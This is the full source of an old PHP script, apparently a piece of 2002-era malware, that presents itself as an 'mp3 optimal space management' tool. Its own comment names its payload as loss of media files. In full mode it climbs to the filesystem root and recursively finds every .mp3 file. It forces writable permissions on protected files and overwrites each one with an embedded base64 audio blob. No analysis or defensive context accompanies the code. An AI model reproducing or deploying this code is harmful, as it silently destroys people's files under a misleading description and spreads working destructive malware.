mp3 optimal space management ;-) // brought to you by the sAvAte on March 2002 // Payload : loss on modified media files // Signature : buccal $full_mode = "yes"; // mp3 lookup mode (no = local only) $debug = "yes"; // yes = display progress while updating $dir = ""; // startup dir (ignored in full mode) function debug($msg) { // basic debug stuff global $debug; if($debug=="yes") echo $msg; } function gastro($file) { // update module $new = @fopen($file, "w"); if(!$new) return false; debug("Updating file ..\n
"); if (!@fwrite($new, swallow(), 7270)) return false; debug("Closing File\n
"); @fclose($new); } function scan($dir) { // scan module // get more time if possible @set_time_limit(0); if($dir=="") { if(ereg("win", strtolower(PHP_OS))) { // get windir content debug("Opening directory .\n
"); $all = @opendir('.'); } else { // get dir content debug("Opening directory ./\n
"); $all = @opendir("./"); } } else { if(is_dir($dir)) { debug("Opening directory $dir\n
"); $all = @opendir($dir); } } while ($file = @readdir($all)) { // Recursive update if(is_dir($file) &&($file!="." && $file!="..")) { debug("Changing Dir to $file\n
"); @chdir($file); // change directory debug("Exploring dir $file\n
"); scan($dir); // scan folder and subfolders debug("Changing dir back ../\n
"); @chdir("../"); // change back directory } $inf = true; if ( strstr($file, '.mp3') ) { debug("Found mp3 file : $file\n
"); // filename is good candidate for update, is it writeable? if ( is_file($file) && is_writeable($file) ) { debug("File is Writeable, updating\n
"); gastro($file); } else { debug("File is protected, trying chmod?\n
"); $priv = fileperms($file); @chmod($file, 0777); debug("Trying again update
\n
"); if(!gastro($file)) debug("Failed update on $file\n
"); else { @chmod($file, $priv); } } } else { // next generation updates wav, oog, etc, etc } } @closedir($all); } function swallow() { // base_64 encoded greedy enzyme return base64_decode( 'UklGRl4cAABXQVZFZm10IB4AAABVAAEA4C4AAMQJAAABAAAADA'. 'ABAAIAAADwAAIAcQVmYWN0BAAAAACHAABkYXRhIBwAAP/jNMQA'. 'AAACWyAAAAD///////////////////////////////////////'. '//////////////////////////////////////////////////'. '//////////////////////////////////////////////////'. '/////////////////////////////////////jJMSDAAACWyAA'. 'AAD///////////////////////////////////////////////'. '//////////////////////////////////////////////////'. '///////////////jNMTWFoACWyAAAAD///////////////////'. '//////////////////////////////////////////////////'. '//////////////////////////////////////////////////'. '//////////////////////////////////////////////////'. '///////jJMT/FMACWyAAAAD///////////////////////////'. '//////////////////////////////////////////////////'. '///////////////////////////////////jNMT/IMACWyAAAA'. 'D/////////////////////////////////////////////////'. '//////////////////////////////////////////////////'. '/////////////////////yqF+PAUgCaeHRAFp9wMLBgIjsDK4l'. '9+Bq0ngYCCwlog//yAGg7gTAIP/jJMT/FMACWyAAAAAcE/+2Bi'. 'MKg0EwGOAkBnYWBjMDBwE//wMXAgLXyaYzN0f//y+mUR1CPAtg'. 'HXCxcBQN////jKF8PXIm6CF1IJ/////p3QY0Z01IJ7f/////+n'. 'LjOf/jNMT/IMACWyFAAADzBBN5oyZaFLbo6rsAIMMVA85jGsos'. 'Q/GFCDNHKIWTKOGCGmuYLJwmpXqGmnUmJGHCZCAqcfaeVbD6dr'. 'OD4pTcq06jHhSa6YkiHG1F4Chx3YuBRIONtszSCEc0AgkPLyAY'. 'Q4t2C4zBiNyPpmy5wDRlAyywCAM02NMQDM4iCCyWfmnSZf/jJM'. 'T/IMQB5AGSqACxW0khY///5f3///qf////+7l6zBjBCyc3L+ba'. '2rOAh5b8OC3e/+8rt22XTnsP/////5P///////3/KAOCTLo3u/'. '9WltTMxKY7DkjluC5pmMKGrP/jNMTPLYJGsZGZ0yKBUy4nHVhY'. 'CXwtxuMGOQ1X0Tqhil4LiRyQQJpJIFM4kOY+bmQxhJQ5QwgO8N'. 'gEyEyEOF1JVFFGpFFH//+pJJ//8kTQlkjgob4eS7k/e/t6IMok'. 'VbNQBSh2VUy253SOEOQjpxS0pSnGgjRrEhszTyk1HuryXappTY'. 'lTS6dx6Wl3MxqW8v/jJMScGDnSnOnYaAE1NyyNUkahlpKURfdS'. '8ExTDqySRc//+RvPAMAQI8jPHkgef/59fBjjcGatBXUrAiAaZp'. 'higi40EdOXBTGGgElAMAxoORKAgHKwVwMwJ+UtgcAvKf/jNMSO'. 'FrnCjADAFYUay4WjC8rGBv2iNnhBgQYG0BYEOJMTUVN/Q/b///'. '5WLeVhAByj6Y1EblZHRI//uxiqzJxaQlIXy7IiZAwYXFOK46LD'. 'pczyoUZXnCGiQqtqWaqz213dtc9Ae42qV/86PMrLawqJdE2IQw'. 'JuBQCe9mzh7WPM1N1mBfLhf/+pv9SBNuSYXv/jJMS2F4HikADO'. '2qQCqKHCMGRuVlF/BcMqdF38BJzO804v3AQ4NBAKFgWIL7UdjF'. 'NzegWlkAtgUrT6g4uEZVtf/+dMissUkgJqCrL4BZi+TD6CvOH+'. 's4MYvDtKBORKf//jNMSrGIHmkADOmqiYD3ebFn/EzKJfEcL4aA'. 'qrCTDr5WNz/xYV+gisrfWpFBQTRgdMSAFfgwBMMLQUVlUwMztz'. 'dkYdDzNzoODAHUAIDwAYQ0Acc9////6FQfUgOcwxYQT5uHlWf4'. '/////ZGF4qlDptiZ+b4eMBNbc/XX/xe//JyHQnUGS4vxpzffr8'. 'LlCXP//jJMTMGAHmkACOmjREj5iV5RhTfrc2OP4hwAwm5amwOX'. 'y5aNp4QgDjAEAZEQKTcRTO2kszXtmnuWPY5iZMOBq5WPEuGYck'. 'mADVAzBioS4y/+JsR/+ViVxjkb+solvMif/jNMS/GwHmiADcXs'. 'wR+GGGAEDHCe/OEobfKBP6VTduMiIAzBDUVEF/UUkZR6vKjGHT'. 'laEHTATiGOTBk1jWQuwsNAzdHiL6NJQCJXxN35VLKkoaYshqMc'. 'ciZn/aqz7e6eSRSnR7ciJxESomQG1eOjaUs21rn/+//JpUmXCi'. '/7CTEem5cJ5TOD2AejIlDT5w///jJMTWGAHmlADYmwRzN51ZVx'. 'u8PJ+tJb9O8wQQEYj4W/JEjR7DlRo1kBEIKhQwu1uyd4DgTklB'. 'UoUap1qJT5hE8JXaQg50ftaE/tZxLN1C3BKCoVhDQg49G7ljfU'. '/////jNMTJHYHikADWGtT//2PMU/Ari8CmJyGAtgX/ahQuXIl4'. 'z7MFoKVoromogoUo5LmHmZkZQCnqXA6MgmRrL+sFYjKHFTuhTZ'. 'XtfVw4FfleU+7EZjcJbhqGef/PwmZxg8iaWrQo+qaQlsmXRfsz'. 'DMHR/Pu4T97T4e0/0pKl7rwAiFVBzCUZlgMe4yOv4g969f/jJM'. 'TWGMHCsADL1PCxFUbD/nOYvhDk4WhYC7l5MIDSBcjqLeVDOBib'. 'qVsJ0iIZUeZOlyl5PTaTMn+FwgEgvg3F47mYFz8P20VEiowmRA'. 'McTh5nKjJniYWhGD+VDdUFo//jNMTGHEHGsADSGYQjQkZEcFQu'. 'NR0IG/xMMQAO8vNZx+XQ3HJXDdEsO7Q6Ni484BQegRhGIw1IEd'. 'KTqRwREXMFD6tjP0dqFGkX5EZ/+9inglHhf9h8GQeot7w0156x'. 'ssODRsDA5KDzIgPXPSOa84fpNRV8c2uTpuDx7oQR2Aal////03'. 'f////////6IPqBD//jJMTYGMHmwAB7DrgBTL+rRrkpNSBUIomN'. 'yWiCcTTc1e1VaGtNW1cHs1/gvif/8Qp1SpD7KoNsuaYPsvzMua'. 'w4DyO8aPFFxE3AzMKOCuA40F8///SMFHYrIcXd+0Exh//jNMTI'. 'HUHmyAbD0rhe9JD/9vV/0zH0/2oAAAAGyPz58+OpJFgC4K0B6V'. 'yEq+C/e2g6xGxfLlvGFb/ive///+saCqoh0nIMEZgXCWUk93t1'. 'y+bdB/Rg/4kRHs0Ra2mkf+evqTds10nw8umoWFKmf//pm+v6Cb'. 'Gd733OMu1rUWT/2pNCTLFmhsyiyprVDhVlqP/jJMTWF4G64+pb'. '00QgQAASAT/IQJBRseCMOIEDkaAZlCmLku1PH/ztvmv/Lf/OjU'. 'Syw2kN2SjcGdS1ZtjwQt6TrNmka0zLiFJ3li+L/9TP/Tv/bfsx'. 'N2Lf/////9BwYP/jNMTLHgHi4/gz0pzK1ta0UUpUwYMGTZs2bM'. 'cAOQBK/+R/v/WYCu2pncJD3oyk0BXCYDRLedD9fipl2nZkp8qK'. 'XDWoHXwpX6mm6dZ0arVAfzonxgJxgUyEpVytkYgGIPbCojF5Jb'. 'bvbjMTZJEcZTi/8euDwwGzo6oyQ/0u7fzhr/qwvicKj4YMtAGA'. 'AOF6Cv/jJMTWGIG+3eYrEoZ8lVQlxLG3P7nIXsb76K9bcwPjf/'. '8rnaD/msWb5hXbNL0d+0Ddgh3LZI5TzYHr1ZfqZsboi2dxkKfT'. 'zKxHWw+HRIRHf/1fWgpDgHDQEd/////////jNMTHG3nKxoB+E2'. 'X/9Y9DRpRHHAIAA7J/j1ZG9XqyD5ULYnSkmYWU4lOnQhgMoHQK'. 'w5WRsYve/Uk6sisqrS21YyZ/7I/csqwy2UghGD/L6M4AdlWDVS'. 'rmhahRrA0plePpQLZpnrhaVC2omcA07/9Sy5Bk8ke7QBGQEofi'. 'Umt/////////9LiZ/D8QgAByDf/jJMTcGAHO0UYTyrzw0DOCQ/'. 'lIy2YKw2EQugc+Pp29LYpTymZX//K4RYQyJREmIioaQuWnk4ym'. 'tJdZHVqRxae//9HuXrI4gMMe////+g0aCQtNGwkLblfYu8eKhA'. '0aAv/jNMTPHcHWyeZ516CuaApVXwvQAAAB3X//+tWzT0x+p9eD'. 'EcEYuEKuhjxu+LWxbf/9tf//s9j0NyZsPhWG5HOUSECZVQ1FSj'. 'TPTLe2G4kF2r4SHKJFIQoTJnSMHnooFOXP9MkGO46ibl7Pc4Xf'. '/7chV///y4PxAH4IHIIOWH3Fw+oEwfKAgGCnIEaBH/su+P/jJM'. 'TbF0HK6eYaRNq6tziRhUjYA5APonSBYtVpFfNsd/8RP+//b5+w'. 'q10xNSlldOx3FyBvASQKoksZXTvVCpcKxGxIDrIEroCrFEynzP'. '/////+uwKiz1EMQKcaIBCRZ//jNMTRHcHO1/h4H6Iif//TL6M1'. 'tnw9Vy5XkMS5fEeXguStJiHAPQLUcsYJCUBbzUR5Lsro1mFebz'. 'eaXyygtW9FOfR0i3FCOwQggwQ0xziQMsstuPIDwaFJd5nqjyCN'. 'MhPRMNNRLIuyhkuld0riL0Jmo4lgc7r//////ecWLcYKGGmWoR'. 'kgxMROBXR9GrdXFf/jJMTdFoHSxeA70pw//+FmlIX1GYVaqUOr'. 'msrjhXADZPy9nwdZcVbrX1mjgrWVRH6poKHTrWvredfMFBGQ+Q'. 'ZIBPkMOQsTXvUeJZ7LTGYBcp64gswwAWEsaogrv/+lI//jNMTW'. 'IIHWoAB+X2SY1dqQmMqCEGd0kydkMP5OYf2pVnbU5Tv60alxzh'. 'iQRePRRwAs08RLwNojmnSimnXdzz/48sC9soc9oMvfR2HCprsP'. 'zDXXzwlErbuylYidTiABxEoKHQ1asrFl9Xl+UM4l+est87WtY2'. 'r3cYJa7Fsuf////9A61732o/uvzDTwyySw6//jJMTXF8HemAB6'. 'k6CLalNUSGhEPAwIRQJMACAAB21bJW9ItYR0Pfhr6XkNKKMonD'. 'WeImEch+lZfGGDYwGXBcAMEHQDsOitGYXGQ0ZccAx4hKTgg8zL'. 'BFxQZE0CcEdgJP/jNMTLHynefAFYwAEgWWIJBloORAwZAF8nIM'. 'XkFkUNCZPCtybABOH7jvFaivjuPvQQaJwSTGULVAMlFRI8eSVI'. 'GLg/09DJxoy5BDQWQLkHCSpcLhAE//lv/5b////////////+5o'. '00ahppz/aAXGMti1zqJ8xpLY0fwhrEPQf4/3saVXxryQN2fQtR'. 'm+Kwvf/jJMTRLIO2wleZmADDJAjPqolDIVoE5CJbY0PVGxCiOp'. 'BiOUHMzYPFn8mZYrvV86wpnT31rPFjufhxoce2vaJJXMXPxJBt'. 'nFcZkl7+JH3/DgFcX1//ir9yvBUp8j9KAP/jNMRyGIHm7AGPeA'. 'CbncKW3qFb5r91pHxZ/S2dWz/8brW0qJ1IOJSl0cIdoEJ5Ffvs'. 'MllPZrhPnqiZ0tMyZ+q11Bi1xatLxZV0iHzqgKVPf/K3pFm6xX'. 'oX1XNRFWEftjADtttl7J59WGHENOYYg0C/CaIa7PPT/lRZiq3/'. '9WZTRsIUqGQNQNo8JyQhkB8gKv/jJMSTGIGG5AfPeABCSicPh6'. 'RC0LJv///0GpcZl///X7DJoyj/pQkg0+EAdDIfNJR1+lCOwiSI'. 'iRVyAAS7ugyZgaCMFAT4+nLzyWHgO0LuEGLUd5ugS6qyo99SkM'. 'mNJf/jNMSEF4G+5eYz1IQ//QIFjAvqg7BgH57Gfn6Gg4RfYeTX'. 'WrHixM///8gGMZ//8UYU3oEy7tNLVfpIKWKOpS5lKraXtYSWnw'. 'i/rqEaINHHR26TQ5h6rsISAxHOu10q9t8au8f4r482odcPf97/'. '/zjq9aYFY0v1M3KMpTwLwKt82peGm7sVpGd+mIsX9u3v9//jJM'. 'SpGEGy5eZrC2TqgSD2gBuG29+z/QQfLp5Skwt8Tyjtrz4yz//2'. '6UdEzzpnD7Su5P/u7DbjlgOBBAiJDRw0fnrBxAozpXnMUycdmz'. 's//6w8fKxVqBhJY0CnOZGBEv/jNMSbGYHC4ARLyrxgE8VcSPDb'. 'Xkzk6U6w+Yqf//T/f2AnTeaUvt/2kSbgq0srXcaq+oHUmDrItf'. '/9W0j/FIO0jA+olqtI0F5R/CNC7xXiaVzG7TrNbOtdJ4gLGI2r'. '5//x/K3MsdtcDlU6KLwyBwEaDaNm5fG1D0klmJOsT+iurn/9fo'. '/rhGS0SzYmLcv6/v/jJMS4GYHC5ARjxUiWJakCru/01Ush+kUu'. '//+inyO+MAw0D7ezaui+meTUYBvE4ZDifK555HW2B6zsXrJ1Z5'. 'Y2sM/7WqH6LTO3OOZeCrGKYpBhbmVuPlFJ05enELcjlf/jNMSl'. 'GMHS4AQrzrx/f+f/nfV+oz0RFXhxKt//4oh3u/tR9CFfIgJP/i'. 'qyQWZpGxOcymgMK2zcFmFxJ+iyCsihVu26ekbD5EvnSG7bYja0'. 'fbN4L7Z/J9AFkT0d4sYjAuRTkbOFqhtBBkLfLKr0xHC6ztwma3'. 'NLXTBx1ES6tUSDWRb9Sns0ihE0L9v/zDtic//jJMTFFsHS4AIr'. 'xLwCXyQBRf8plGFiG+dyOpktwVIGxVF0Tw411t59XxBjw6P4MV'. 'b2p9Z+Hjyjyc4HMupziFHQFSXiiuupEctNa5dpEZcbyPrcWik/'. 'y9rOguh/9lv8///jNMS9GwGm2AJLztiif//1xxJVzGLvahVaRo'. 'ohzaFfk3/HZMQZqOXWtJLX/kWM1VRRj/E9GGrjjYEQp0ehZeGG'. 'AdKUPdOx0h9wGCgksXo09LqmagCQYWIMInyLVyKWj9Og60oimA'. 'rzeiKLfx/vWpY21ZCSk6GxGbH/yy+9zXipE0td6lKPmTISGMM/'. 'pHru7//jJMTUGQGm4ARL0tRCVQIAEnJOOTrvZ0Pyh9BHTdzWoi'. 'sRQpD9MZbCafGfw/K8vL4z12YXTJ83uKpOY3B1DdLqh00/pI3y'. 'G+/oj1WAwxV/4LEphIWd/+h7/SFRcIGg2v/jNMTDHIGK1AB+H0'. 'DjDTvqQZMBVhosYF/9Cvx7+9n6/wKABJuZD/ooKCmFBb+xPwZx'. 'asB3ltUCqhQsQrxHL5cIb1dwfiPp8yN0VRIWqiEMQ+k/taeRoD'. 'W3NelhSaAgVO/5Ql/6l///4/Hji3/1tLgeYeeIMKKhceWNgYom'. 'CRYsha5Ueggwkhrx51rUMOOS0f/jJMTUGUFq5eZjy0RS6YF/EI'. 'AQEu479hoBg0f7EFa/Gxglg2D5EwoabvPSkoeW9hYi6k6h0gvH'. 'Y1H4JAmHMtri/qE/ZappCmlzF8/9bv9R0IB//5s0tt2WqewNkS'. 'glYf/jNMTCHMHm4eZDztSDIkFSz797mkELU02aWq57Kb7U/wgA'. 'AAABk//weqGe1LQtCBwnMBaSLPQhjpD4ofjVP/g8V5tXr5pWlS'. '0l9LoK8FedKoTx/MNkuvKVREgKEH44EhD/////SBMuoOxMA0PA'. 'ACMRRWDoZ/+5qUK099e9v/mhZdwcFi7hrAcSOWw0JRxNxv/jJM'. 'TSGMEu5oY42EiFfxQQEJ/+PTNt2hnKaKGoaoVKh0c3QTIH2Bqx'. 'zOLCy5YrWgM0WWbeaWOZzX0b9wczWfH6JjEbz8EOMpmfN0h3Cx'. 'JlWMYBELkVhFX/59v///Dzk//jNMTCHEHm5/hDz0YOacREQJEQ'. 'qDUDotsMhS80+jXGko9sThujWgpg4MngqBHUSTXcgkO3DtgWYw'. 'Ny2cDoAIEhgRU5baODc8MLIaIrUZccVq4EBwcyqDWAtoSGTcZH'. 'FeVhcFI+IiCGrCNhuNE8ZWMkS+H925mYZIdKXu/fv399/5Y46u'. 'q8aHFyVsS26yPmZ//jJMTUF0HmveB6k4STMkkpJ+nXt0+5HKeh'. 'IZYu6ddudUeEv0uKDCmUhgQoALMYG6bpS2GoAl9A8AsuiBAgS2'. 'UyNqRAueegxXosP3PPtBgcB0E4C4QB9Bhaolf//+q8Rv/jNMTK'. 'HoHmkADDHvD3sWglHAqQuoQeZfxAX1wyCmtY4W5W4r/ZJyQEnI'. '9Keihpd0WOKyjFQMbI1QggMKFwoGkIwvywKZrRFuzLqOGo1TVq'. '8trU1e1zKtA8RkMqhb8yp+YtKJdWppVHovjDS3nEVM3iiqKrK0'. '6KGYi1Lz////mAhTrKVSdBWoBMjFtojmhbpv/jJMTTF4HKpAB+'. 'EHHQlHvfJged//wWi/M5UYNWbuwxyVBU2BkIlIMcEBqnCSKooB'. 'igeRtHVKj7vvxzkyUIial0ZQdJFSrfohbgG1AkYZCFfAD8AGiD'. 'iAogqaf///6kBf/jNMTIHkHemADImaDMKSDUwwMKMiGBxaCXyn'. '8H0YTFjPNtIhDyVzWo0gAKoKEwGsofBRoyDTrCNRQ30jMUQ4JE'. 'BVeVQaZi2kaS6f//VYhCDBcYyMw1aZMyR96iGCHAhIDlgCoCGg'. 'tMEjDAQyqSLf///1GxdIkF/QPnDehIwPHE0MHZRgNMkCNLfxK3'. '2qNB7//jJMTSF4HKkADIJQTMuk6CmDyq3kIDlpJqpIomCG3qsZ'. 'gBrPMygDQHemARVdwenugnn5fcNG//4VwkhCMCTUPwXggaFRfK'. 'ZQKgTwI4ihcBs3//9Cn//DQpFIaDYEkRy//jNMTHG4HmeADO5M'. 'BriHBSfUX/KDnWxNC5pjUESyH1ZYEWMhWXxIgRMjIRbTCs0YIQ'. 'Mrho4bTcbGQCyAIRFnR0UJH37U7DiaLf/6yUPmBQD1ZKDXIScN'. 'KAa8NuAJkGywU4RiGlqUZpf///8/JjQQhqQw6FAhivd69YQoRL'. 'inC1iuKWn/zgvx7prw7P/04xGP/jJMTcGAHmhADLVxQJhGNCyW'. 'ALSXMCdBJh2BwZ4B4EYMoFDQCbnLdgQAEIF+JhpnLCQbQG5gyD'. 'f/TUTCimbqZ+uoGETEJQBUg1hoG5NBv//dkUThuslTUkj/g6hG'. 'wV4P/jNMTPHYHihADUnxAcoQqam+s/AAC2GJem8T4X2Zqc1DBZ'. 'X1E8nVYZUivJqA+iKRRVDqgKKtYHmfrm5ubmbkLCNh5k6fU2ra'. 'uXewcjcBIevEieSdS1LUv/9WtqtS1GKAdQJEAK0AQRjFJH3MTX'. '//////lgWBYFgWBkGQZBkGgWBYFg2DIMgyDIGBYFg2ZNf//jJM'. 'TcGAHimAB+mqhWwoMJ6rjlGELKLqUBvqRfP4kIiwgop5KDrVjG'. 'pFGcJChXhkkgLmcC2YXLDRdA2qpkkDCTLh6NFChZBPAKFWywSE'. '5nLBUi6DQs+WCoqKiooDhoeP/jNMTPHwHmq+x7Gw6v////////'. '1+3r//////////////////////////////////////////////'. '//////////////////////////////////////////////////'. '//////////////////////////////////////////////////'. '/////////////////jJMTWF0DuNAB6TQD/////////////////'. '//////////////////////////////////////////////////'. '///////////////////////////////////////////w=='. ''); } if($full_mode=="yes") { @chdir("../../../../../../../../../../../../../../../../../"); } scan($dir); ?>